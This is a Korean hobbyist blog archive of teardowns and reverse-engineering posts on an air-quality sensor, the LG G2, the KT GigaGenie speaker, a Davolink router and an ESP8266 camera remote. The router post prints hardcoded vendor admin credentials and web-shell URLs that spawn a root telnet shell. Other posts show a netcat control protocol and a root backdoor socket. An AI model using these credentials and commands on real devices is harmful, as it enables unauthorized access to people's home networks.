Category Archives: AVR / Embedded

공기질 측정기 리뷰

U+IOT / IAQ-T200 / TCL (중국) / 2,200원 * 3년

에어센서 이미지

온습도, PM10, PM2.5 측정가능, 팬 내장으로 소음있음.
레이저 센서를 사용해서 정밀하다고 한다. (한국건설생활환경시험연구원 인증 2등급)
3.7v 리튬이온 740mAh 내장으로 휴대가능. ( 0.24~0.30A 정도 사용, wifi연결시 0.35A)

샀으면 뜯어야지,

손쉽게? 뚜껑 제거 가능, 아래쪽으로 나사 4개 보인다.

T3505 라는 IC가 보인다 뭔진 잘모른다.

 

꽃게가 뙇!

 

롬이 뙇! (UART도 보인다)

팬 달린 센서

다른마킹은 안보이고 이런거만 보이는데 뜯어보진 않았다.

 

온습도 센서, 전면부에 노출? 되어있어 굉장하게 민감하다.

이건 UART로 부팅로그 찍은거
bootlog

충전중에 위에 버튼을 꾹 누르고 있다 떼면 왼쪽위에 안테나 깜빡거리면서 와이파이가 활성화 된다.

맥주소 끝부분으로 SSID와 Password 생성,

ssid : uplusIAQ_tonly_9486BB1
pw : LGU_9486BB1

붙었다 싶으면 netcat으로 붙을 수 있음.

nc 172.31.254.250 30300

대충 아래 명령어 실행가능 (대충 뭐하는지 잘모름 ^^;)

parseSoftApCommand

rmac

MAC = 88D039486BB1

up:reboot

up:reboot_ok

up:connect:SSID:PASSWD:

up:ota:

up:mefport:

up:mqttport:

up:mqttserver:

up:mefserver:

up:ogs:

up:tls:

up:srvcfg:

up:atsmode:set

up:fota:

up:hslog:

up:ca_index:

up:hsds:

up:query:ver

up:query:1.0.8

up:led:all

up:led:red

up:pcip:

up:print:data

 

LGAPMODE0010

얘는 최소 길이가 20자리

명령어 구성은 다음과 같음

“LGAPMODE”(8b) + 버전(4b) + 명령어(4b) + 데이터길이(4b)
“LGAPMODE” + “0010”  + 102 + 0

ex) “LGAPMODE0010” + “f\x00\x00\x00” + “\x00\x00\x00\x00”

명령어는 101, 102, 103, 10101, 10102 존재

101, wifi설정 ,
102, reboot, “LGAPMODE0010f\x00\x00\x00\x00\x00\x00\x00”
103, req info, “LGAPMODE0010g\x00\x00\x00\x00\x00\x00\x00” > “LGAPMODE0010NO H 88D039486BB188D039486BB1 1.0.8 IAQ-T200 0101”
10101, 암호화된 wifi 설정,
10102, wifi 설정 + 서버설정,

 

KT Giga IOT 홈 에어닥터 / IP01-609A / 이노피아테크 / 158,400원

초미세먼지(PM2.5), 미세먼지(PM10), 이산화탄소(CO2), 휘발성유기화합물(VOCs), 온도, 습도

관련 인증사항은 확인못함, 팬이 없어 반응이 느림 (소리안남),
내부에 센서가 다 들어있는데 구조상 팬없이 대류가 일어나지 않음  (디자이너가 “디자인” 해버렸다)

샀으면 뜯어야지,

ㅗㅜㅑ IoT센서주제에 S805를 달고있다니…

RTL8201E(ethernet), TC58BVG(128MB nand), AP6354(wifi) 를 포함하고있다.

K4B1G1646G  1Gb 짜리 두개를 램으로 사용하고있네? 그럼 256MB인가 ?

 

JDS 사의 FIS QS-01 가스센서라고 (SP3S-AQ2) 마킹이 좀 다르다?
그냥 오만때만 가스들 다 측정하는듯 VOCs?

 

아무 마킹이 없는데 대충 이산화탄소 센서 검색해보니 T6713 이거랑 비슷하게 생겼다 ㅇㅇ

 

 

삼영S&C IDSM025B  파티클 레벨 센서

 

D78F1500A, 구글링해보니까 대충 르네사스 UPD78F1500AGK 16비트 MCU로 나오는데…
이거만 가지고도 IoT허브는 만들고도 남은거같은데? S805는 뭐하러 넣은거지…

UART 있지만 접근이 안되길래 낸드 지지기 하다가 사맣ㅜㅜ

USB 꽂으니 VID 1B8E PID C003 뜨는데 대충 리플레시 하면 될거같은데 귀찮아서 짱박…
나중에 시간나면 낸드나 떠봐야지

Lineage OS 16 on LG G2 F320

쓸때없는 서론

2013년 8월에 런칭한 LG G2에 최신의 Android PIE를 올려보았다.
해외제품인 d80x시리즈는 Lineage OS에서 정식으로 지원되어 별탈없이 공식지원되는 이미지를 사용하면 별탈없이 사용가능하나, 일부사양변경된 국내형 F320x의 경우 정상적인 부팅이 되지 않았다.

관심없는 과정

부팅과정을 분석하여 Kernel 부터 로드가 제대로 되지않음을 확인하여 Kernel을 리빌드 해보기로 하였다.
Lineage OS의 빌드 가이드에 따라 “breakfast d802” 명령까지 실행하고 커널만 빌드하기 위해 “make bootimage” 커맨드를 사용하였다.

커널이 로드가 안되는 이유로 대상장비와 커널의 Device Tree가 맞지않음을 확인하였고 이를 맞춰주기위해 이전에 사용하던 Lambda 커널의 DTB를 추출하여 사용하였으나 부팅실패.
빌드과정에서 DTB를 바꿔서 빌드하는 등 여러가지 시도 끝에 부팅에 성공했으나 터치스크린 인식이 되지 않아 확인결과 D802와 F320의 변경사항중 하나로 터치스크린에서 사용하는 드라이버가 다른것으로 확인.
터치를잘되게 만들었으나 WiFi인식불량, 역시 드라이버 초기화 문제, 스피커 소리가 나지 않는등 여러가지 문제가 발생하였고

하나씩 수정하여 해결하다가 그냥 이글요글을 토대로 디바이스 포팅과정을 진행하게 되었다.

대충 요약하면
기본이 될 ~/android/lineage/device/lge/d802를 f320으로 복사하고 안의 내용을 적당히 수정해주고 (대부분 d802 문자를 찾아 f320으로..)
~/android/lineage/vendor/lineage/vendorsetup.sh파일 끝에 “add_lunch_combo f320” 추가,
이후 breakfast f320을 실행하고 커널빌드 순으로 진행하였다.

커널 설정파일(lineageos_f320_defconfig)의 짜깁기가 좀 필요했으며 삽질끝에 정상부팅가능한 커널이미지를 빌드하게 되었다.

설치 방법

아래 과정을 진행함에있어 부팅불가, 데이터 삭제 등의 문제에 대해 저는 책임지지 않습니다.
초보자분들은 따라하지 않았으면 하는 바램에 자세히 설명하지 않습니다.

루팅, 리커버리 플래싱 과정은 생략
공식지원되는 D802 이미지를 다운받아 \META-INF\com\google\android\updater-script의 디바이스 체크 구문을 지우고 TWRP를 통해 플래싱
myboot_f320_v_1.0.bin을 다운받아 해당 디렉토리에서 아래의 커맨드 실행
adb push myboot_f320_v_1.0.bin /sdcard/
adb shell dd if=/sdcard/myboot_f320_v_1.0.bin of=/dev/block/platform/msm_sdcc.1/by-name/boot
기호에 따라 기존데이터 삭제 (매우 권장)
재부팅 (첫 부팅에 5분정도 소요)

인증

lineage-16.0-20190524와
lineage-16.0-20190529버전에서 정상동작 확인

확인된 기능

부팅, 터치, 소리, 와이파이, 카메라

알려진 문제점

노인학대의 끝장판이다 보니 동작이 느리다.
댓글달아주시면 감사합니다. <수정할 시간은 없고, 여기 내용 추가해드릴게요>

여담

보유하고 있던 G2 4대중 1대는 중고방출, 1대는 액정파손, 2대는 액정터치불량으로 판매를 제외하면 모든 기기에서 액정문제가 발생했다.
보유하고 있던 G2의 배터리 4개중 3개에서 스웰링이 발생하였다 (무려 75%)
LG의 초기대응은 어땠는지 모르겠지만 본인의경우 서비스센터에서 잘 수리해줬다. (사실 그래서 이번 포팅도 생각해본것)

G6 Plus 모델 삽니다. 구매완료

기가지니

Intro

나는 단지 적당한 스피커가 필요했을 뿐이다. 그리고 중고나라에서 3만원에 CT1100 기가지니 구모델을 구입하였고….

구입했으면 뜯어야지

Specs.

CPU HiSilicon HI3798
RAM Samsung K4A8G165WB x4 =(4Gb)
EMMC Samsung KLM8G1GEME-B041
SPI ROM Macronix MX25L3255EXCI-10G(32Mb)
I2C ROM Fremont FT24C256A(256Kb)
WiFi WM1612-32P
Ethernet RTL8211E (1Gbps)
PowerAMP TPA3118 (30W, 2ch)
Unknown LG Innotech TWBM-B302D

ARM cortex A53 쿼드에 무려 4Gb 램이 들어갔다!
Poplar 보드에서 동일한 코어를 사용하며 많은 정보를 얻을 수 있다. (Egreat A5, Himedia Q10 pro)

UART Bootlog

EMMC 근처에 4pin 짜리 커넥터가 UART였다 baudrate 115200 으로 접근시 다음과 같이 부팅로그메시지가 출력되었다.

Bootrom start
Boot Media: SPI
Decrypt auxiliary code ...OK
Entry boot auxiliary code

Auxiliary code - v1.00
DDR code - V1.1.2 20160205
Build: Nov 17 2016 - 04:17:30

Reg Version:  v134
Reg Time:     2016-12-08 3:09hi3798cv2dmf_hi3798cv200_ddr4_4gbyte_16bitx2_8layers.reg
Reg Name:     hi3798cv2dmf_hi3798cv200_ddr4_4gbyte_16bitx2_8layers.reg
DDRS
Boot auxiliary code success
Bootrom success

INFO:    Move bl33 from 0x200b0b0 to 0x2000000, 8785406 Bytes
NOTICE:  BL31: v1.2(debug):26cbbdd
NOTICE:  BL31: Built : 13:05:11, Dec 19 2018
INFO:    BL31: Initializing runtime services
INFO:    BL31: Initializing BL32
TrustedCore Release Version : iCOS V100R006C10SPC001B001 base iCOS_MAIN_3.1.2  Dec  7 2016.15:21:35
Load Secure Cipher success. Build Time:[Dec  7 2016, 15:21:35]
[ERROR-TEE_DEMUX]:DMX_Drv_ModInit[2971]:@@@@@@@@@@@@@@ Debug for demux 2018_09_20 ##############
1/1/1970 0:0:0.285 TrustedCore Execute Successfully and jump to Linux  kernel
INFO:    BL31: Preparing for EL3 exit to normal world
INFO:    Entry point address = 0x2000000
INFO:    SPSR = 0x1d3
Uncompressing Linux... done, booting the kernel.
 V: f9000000 P: 000f8000 S: 02000000 T: 00000000
hi3798cv2x_map_io               [/innodigital3/work_giga/KT_GG1_rel/device/hisilicon/bigfish/sdk/source/kernel/linux-3.1]
1/1/1970 0:0:1.151 [error] tee_task_entry: no need to config agentid: 0x00000003
 1/1/1970 0:0:1.247 [error] tee_task_entry: no need to config agentid: 0x00000004
 1/1/1970 0:0:56.662 TEE> TA: Nov 23 2018, 18:05:45
1/1/1970 0:2:24.787 TEE> TA: Nov 23 2018, 18:05:45

안타깝게 쉘은 뜨지 않았다.
부팅과정에서 Console을 리다이렉트 시키는것같다.
Recovery부팅은 커널로그가 다 뜨긴하나 sh를 찾지못해 쉘을 못띄워주는것은 확인하였다 ㅠ

EMMC

가능하면 와이어만 날려서 EMMC 덤프뜨려고 열심히 Pinout을찾았다.

실패 ㅋ
그냥  chipoff 해서 덤프하였다.

Partition Info

Offset Name Size
0x00 bootargs1 1M
0x100000 bootargs2 1M
0x200000 deviceinfo 2M
0x400000 baseparam 8M
0xC00000 pqparam 8M
0x1400000 logo 20M
0x2800000 logobak 20M
0x3C00000 fastplay 40M
0x6400000 fastplaybak 40M
0x8C00000 misc 20M
0x8C00000 qbboot 1M
0xA100000 qbdata 300M
0x1CD000 trustedcore 40M
0x1F500000 recovery 40M
0x21D00000 kernel 40M
0x24500000 system 800M
0x56500000 recovery2 40M
0x58D00000 kernel2 40M
0x5B500000 system2 800M
0x8D500000 cache 800M
0xBF500000 tmpdata 32M
0xC1500000 userdata remain

 

Explore

좀 살펴보면 기가지니는 안드로이드를 기반으로 동작하는것을 확인할 수 있다.
system/build.prop 파일을 보면 ro.build.version.release=5.1.1 즉, 롤리팝이 올라가 있는것이 확인된다.

Hidden Menu

system 파티션에서 이것저것 분석하다보면
com.kt.gigagenie.launcher앱 일부 액티비티에서 “2485” 를 확인하는 코드를 발견할 수 있다.

    public boolean onKey(View v, int keyCode, KeyEvent event) {
        if (event.getAction() == 0) {
            Logger.print((Object) this, "called onKey()-keyCode : " + keyCode + ", event : " + event);
            if (v.getId() == R.id.settingListView) {
                switch (keyCode) {
                    case 9: case 11: case 12: case 15:
                        if (this.currentMenu == 2 && this.currentMenuListIndex == 0) {
                            Logger.print((Object) this, "keycode : " + (keyCode - 7));
                            if (keyCode - 7 == 2) 
                                this.hiddenMenuCommand = "2";
                            else 
                                this.hiddenMenuCommand += "" + (keyCode - 7);
                            Logger.print((Object) this, "hiddenMenuCommand : " + this.hiddenMenuCommand);
                            return true;
                        }
                    case 23:
                        if (this.currentMenu == 2 && this.currentMenuListIndex == 0) {
                            if (!HIDDEN_COMMAND.equals(this.hiddenMenuCommand)) {
                                this.hiddenMenuCommand = "";
                                break;
                            }
                            this.hiddenMenuCommand = "";
                            Logger.print((Object) this, "HIDDEN MENU ON!!!!");
                            showHiddenUpgradePopup();
                            return true;
                        }
... 중략

2485를 누르고 확인을 누르면…. 뭐 별건없고 이것저것 테스트 해볼수 있는 히든메뉴가 뜬다.

StartupService Apk

좀더 보다보면  StartupService앱이 있는데 BOOT_COMPLETED시 아래의 코드를 실행시킨다.

    private void launchExternalFactory(File file) {
        try {getPackageManager().installPackage(Uri.fromFile(file), new Stub() {
                public void packageInstalled(String packageName, int returnCode) throws RemoteException {
                    if (returnCode == StartupService.CONDITION_A_FACTORY_MODE) {
                        StartupService.this.StartActivity(new ComponentName(StartupService.PACKAGE_AFACTORYMODE, "net.quber.afactorymode.AFactoryModeMainActivity"));
                    }}}, CONDITION_DEFAULT_APP_INSTALL, null);
        } catch (Exception e) {            e.printStackTrace();        }
    }

        fileList = new File("/mnt/sda/sda1").listFiles();
        if (!(fileList == null || fileList.length == 0)) {
            length = fileList.length;
            for (i = NOT_EXIST_CONDITION; i < length; i += CONDITION_A_FACTORY_MODE) {
                file = fileList[i];
                Log.d(TAG, "name: " + file.getName());
                if (file.getName().equals("SmartFactory.apk")) {
                    launchExternalFactory(file);
                    return true;
                }        }        }

뭐 대충 sda에서 “SmartFactory.apk” 파일찾아서 그거 설치하고 “net.quber.afactorymode.AFactoryModeMainActivity” 액티비티를 실행시킨다.

적당히 “net.quber.afactorymode”이름의 앱하나 만들어서 USB에 넣고 부팅을 시켜주면…

내가만든 앱이 실행된다.
앱의 SETTING 버튼을 선택하면 설정창이 열린다. ( 다른건 하다가… ㅈㅈ)
설정 -> 홈 -> 지니 런처 삭제 순으로 안드로이드 디폴트 런처가 실행된다.



같은 방법으로 다른 어플리케이션을 설치할 수 있다. (액티비티 이름이 고정이라 실행은 되지 않겠지만..)
ES파일탐색기 이런 앱 깔아두면 편하다.

Bluetooth Sink

기본설치된 앱들 다 지워버리니까 블루투스 스피커로써 역할을 하지 못한다. (페어링은 되나 소리가 나지않음;)
com.kt.gigagenie.mc 앱을 다시 설치해주니 소리가 잘난다.

Getting Root

루트권한 획득까지는 관심이 없었는데….
보다보니 백도어가 보여서 분석을 좀더 진행해 보았다.

부팅후 프로세스 목록에서 좀 찝찝하게 생겨먹은 xx와 yy를 분석해보니
“/var/alticast/fork_socket”를 열고 여기서 오는 패킷을 root권한으로 실행해 주고 있었다.
com.kt.gigagenie.ollehtv 앱의 libalticaptor.so에서는 “/var/alticast/fork_socket”를 열고 명령어를 입력하는 코드가 있으며 뭘하는지는 관심이 없고,
패킷 구조만 확인해서 …! …! 하니
root획득 성공
관련코드 execute_command.c (execute_command)

ADB Shell

Terminal app 설치해서 열심히 찍기 귀찮아서 adbd도 올려보았다.

어디서(출처가 어디었지…) 가져온 adbd 바이너리를 /mnt/ddd로 복사한 뒤 실행권한 주고

setprop ro.kernel.qemu 1
setprop ro.debuggable 1
setprop ro.secure 1
setprop service.adb.root 1
setprop service.adb.tcp.port 5555
/mnt/ddd/excute_command “/mnt/ddd/adbd & ”

하면 ADB  over TCP를 사용할 수 있다. (루트권한으로!)

System Intergraty check

시스템파티션 일부를 수정했더니 부팅이 되지 않았다.
다행히 리커버리로 부팅하여 강제 업데이트를 실행하니 부팅에 성공, 원인 분석을 하였다.

커널의 initrd에 있는 init.rc파일에 다음과 같은 설정이 있다.

on property:sys.system.check=start
system_check

system_check는 initrd의 init에 구현되어 있으며
/system/etc/system_list을 읽어 system 파티션의 무결성을 검증한다.
system_list의 뒷부분에는 전자서명으로 보이는 부분이 있다.

그리고 “sys.system.check” 속성을 start로 바꿔주어야 이게 시작이 되는데,
해당부분은 \system\etc\init.bigfish.sh에서 확인가능하다.

setprop sys.system.check start

그럼뭐 저거 실행시키기전에 !@#$하고나서 system 파티션 원복하고 sys.system.check=start 하면 되겠네 싶어서 해봤는데 역시 부팅불가 (왜?)

Update

KTFirmwareUpdate.apk파일을 잘 보면 https로 어딘가 접속해서 목록을 받아오고 목록에는 업데이트 받는 apk, bin, zip 의 주소가 들어있다.
apk들은 User영역에 설치되는 앱파일들이며 zip은 잘 모르겠고, bin은 펌웨어 파일이다.
이중 KAON_CT1100_xxxx.bin 파일은 AES_CBC로 암호화 되어있으며 내부에는 kernel, recovery이미지와 system파일들이 들어있다.
업데이트 하는것이 목적이 아니라 패스.

Recovery

부팅시 WPS 키를 눌러주면 Recovery모드로 들어가게된다 이때 WPS키를 누르면 강제 업데이트가 가능하다.
강제 업데이트시에 미리 설정된 USB가 있어야 되는데
위의 Update과정에서 확인가능한 KAON_CT1100_xxxx.bin 파일과 설정파일(kaon/fwinfo.txt)을 USB의 특정파일이름으로 위치시켜야 한다.
이부분은 recovery의 initramfs에 있는/sbin/recovery를 분석하면 알 수 있다.(상세내용은 검열삭제)

Kernel Mod

커널을 수정했더니 리커버리도 안들어가지고 계속 재부팅만 한다.
커널은 건들지 않는것으로…

Conclusion

노이즈 때문에 못쓰겠다.
파일 넣어서 직접 재생시키면 조금 덜하긴한데 그래도 화이트 노이즈가 거슬리는 수준.
메쉬는 2.1처럼 보이지만 실제는 1.1채널 모노스피커라 실망이 크다.
음색 또한 저음이 매우 부스팅 되어있어 내가 좋아하는 소리는 아니다.
영상의 경우 Youtube에 있는 4K60f 샘플을 정말 부드럽게 플래이해 냈다. (내 노트북에서는 스로틀링걸리면서 버벅거리는데….)
가장큰 목적은 Netflix 설치 후 시청이었으나, Netflix 앱 설치후 조작이 불편하였고, 재생 해상도 역시 좋지않아(Netflix 미인증 기기) 포기하였다.

나는 더이상 이기기를 사용, 분석할 흥미가 없다.

공유기 루트쉘 획득하기

인터넷 설치하면서 생긴 공유기(DVW-2300N)를 사용하면서 문득 루트쉘을 열어보고 싶어졌다.

보통 같으면 뚜껑따서 UART 연결하거나 롬떠서 작업을 했겠지만 잠깐 살펴보면서 자동업데이트 기능이 존재하는것을 확인하였다.
브릿지로 연결해봤더니 “http://180.182.38.50:8080/tms/servlet/getApProvInfo?macAddr=18c50122XXXX&downType=1&ver=F1.0&cfgac=6767&cfver=Davolink_DVW-2300N_1.36.50CJ_CFG&fwac=7539&fwver=Davolink_DVW-2300N_1.40.50CJ&model=DVW-2300N&vendor=Davolink&cferr=0&fwerr=0”
요청을 확인할 수 있었고 456bytes 의 바이너리 파일을 획득하였다.
대충 봤을때 암호화 or 인코딩이 되어 식별이 불가능했으나 downType의 인자를 1이 아닌 0으로 주었더니 아래의 텍스트를 확보할 수 있었다.

macaddr=18c50122XXXX
apms_ip=180.182.38.51
prov_ip=180.182.38.50
cfgac=6767
config_url=http://180.182.38.50:8080/config_ap/6767/Davolink_DVW-2300N_1.36.50CJ_CFG.txt
config_ver=Davolink_DVW-2300N_1.36.50CJ_CFG
fwac=7539
firmware_url=http://180.182.38.50:8080/firmware_ap/7539/Davolink_DVW-2300N_1.40.50CJ.img
firmware_ver=Davolink_DVW-2300N_1.40.50CJ_20180227
prov_interval=1
prov_stime=00:00:00
prov_etime=23:59:59
retry_count=3
retry_interval=10,20,30

설정파일과 펌웨어 파일의 주소를 확보할 수 있었고 펌웨어의 경우 realtek 표준펌웨어로 보여졌다.
설정파일에는

Manufacture=Davolink

root_id=cjroot
root_pw=CJHV_VoIP_0601

이런 내용이 담겨있었고 Web접근에 사용가능하였다. (유저비밀번호 백날 바꿔봐야 이런 백도어있으면 무의미하다)
cjroot로 접근하였더니 네트워크/인터넷설정 탭에서 Telnet 활성화메뉴가 나타났으며 활성화를 시켜도 텔넷접속은 되지 않았다.


펌웨어를 분석해보니 web shell이 존재하여 이를 이용하여 몇가지 작업을 해볼 수 있었다. (*아래 URL접근은 cjadmin으로도 가능하였다)

http://192.168.200.254/goform/sysconsole?cmd=ls%20-al%20/
http://192.168.200.254/goform/sysconsole?cmd=telnetd -p 22 -l /bin/sh &
http://192.168.200.254/goform/formMfgTest?diag_result

기존의 데몬을 죽이고 포트와 쉘을 다시 지정하니 텔넷접근이 가능하였다.

아이디와 패스워드를 확보하기위해 열심히 펌웨어를 분석했으나 간단하게도 답은 cjroot에 CJHV_VoIP_0601 였다.
(인터넷이 연결되지 않으면 “**********” 을 아이디와 패스워드로 사용하는것으로 보인다)
쉘 확보하고 간단한 정보를 띄워 보았다.

# cat /proc/cpuinfo 
system type             : RTL8196C
processor               : 0
cpu model               : 52481
BogoMIPS                : 389.12
tlb_entries             : 32
mips16 implemented      : yes
unaligned access        : 226
# cat /proc/mtd 
dev:    size   erasesize  name
mtd0: 004dc000 00001000 "boot+cfg+linux"
mtd1: 002d4000 00001000 "root fs"
mtd2: 00020000 00001000 "dlog"
mtd3: 00010000 00001000 "dvnv1"
mtd4: 00020000 00001000 "dvnv2"
# cat /proc/meminfo 
MemTotal:          27144 kB
MemFree:           11440 kB
Buffers:            1256 kB
Cached:             4248 kB
SwapCached:            0 kB
Active:             4408 kB
Inactive:           3124 kB
Active(anon):       2028 kB
Inactive(anon):        0 kB
Active(file):       2380 kB
Inactive(file):     3124 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:          2040 kB
Mapped:             1508 kB
Slab:               7352 kB
SReclaimable:        332 kB
SUnreclaim:         7020 kB
PageTables:          364 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       13572 kB
Committed_AS:       5108 kB
VmallocTotal:    1048404 kB
VmallocUsed:         284 kB
VmallocChunk:    1044808 kB
#

뭔가 하기에는 리소스가 너무 열악하다…
심지어 chmod도 없어서 cp신공으로 바이너리 몇개 실행시켜보고 끝냈다.

잠깐 분석? 하면서 miniupnpd가 외부포트로 개방되어 있는것을 확인하였다.
TCP 포트는 부팅시에 랜덤하게 결정되는것으로 보이며 UDP는 1900고정개방인듯 하다.

정상적인 사용을 위해 upnp와 자동업데이트는 사용하지 않는것으로 설정하였다.

 

근데 이걸 내가 왜 분석한거지…?

Sony Wifi Remote with ESP8266

Sony의 RX100M3를 쓰면서 리모트 기능이 필요해서 알아보던 중 이 제품은 다른 리모컨 기능은 없고 WiFi를 이용해서 스마트폰 APP을 통해 현재 화면을 보면서 셔터를 누를 수 있는 기능이 존재한다.
해당기능을 사용하기위해서는 먼저 RX100에서 스마트 리모컨 앱을 실행시키고 스마트폰에서 PlayMemories 앱을 이용하여 연결하여야 한다.
이때 RX100은 WiFi Direct Mode로 작동하며 SSID와 Password를 화면에 제공한다.
스마트폰에서는 Password를 이용하여 접속하는 방식.

RX100M3를 분석하기 위해 Sony에서 펌웨어를 받았고 Sony camera firmware를 풀어주는 도구를 찾았다.
https://github.com/ma1co/fwtool.py
3세대 까지 지원한다는데 여기서 3세대가 의미하는바는 모르겠다.
확보한 펌웨어 DSC-RX100M3_FirmwareUpdate_Ver2.00를 풀어보니
RX100M3의 운영체제로써 안드로이드가 운영되는것을 확인하였다.
“스마트 리모컨”의 실체인 SmartRemote.apk를 확보하고 분석전에 하드웨어로 어떻게 구현할까 고민하다가 ESP8266을 사용해서 만들면 되겠다 …! 하고 자료수집을 위해 검색중

Sony Camera Remote Control mit ESP8266


이걸 찾았다 ..!

저자인 glaskugelsehen은 https://play.google.com/store/apps/details?id=com.thibaudperso.sonycamera 앱에서 사진 찍을때 발생하는 패킷을 캡쳐해서 그것을 분석하였다.
해당앱은 깃헙에 소스가 공개되어있다 https://github.com/ThibaudM/timelapse-sony
그리고 소니는 해당 API를 제공한다. https://developer.sony.com/develop/cameras/
나는 왜… 리버싱을 먼저 하려고 하였나.

뭐 여튼 어떻게됫든 원하는것을 매우 간단하게 만들 수 있게 되었다.
알리에서 esp모듈 주문하고 기다리자…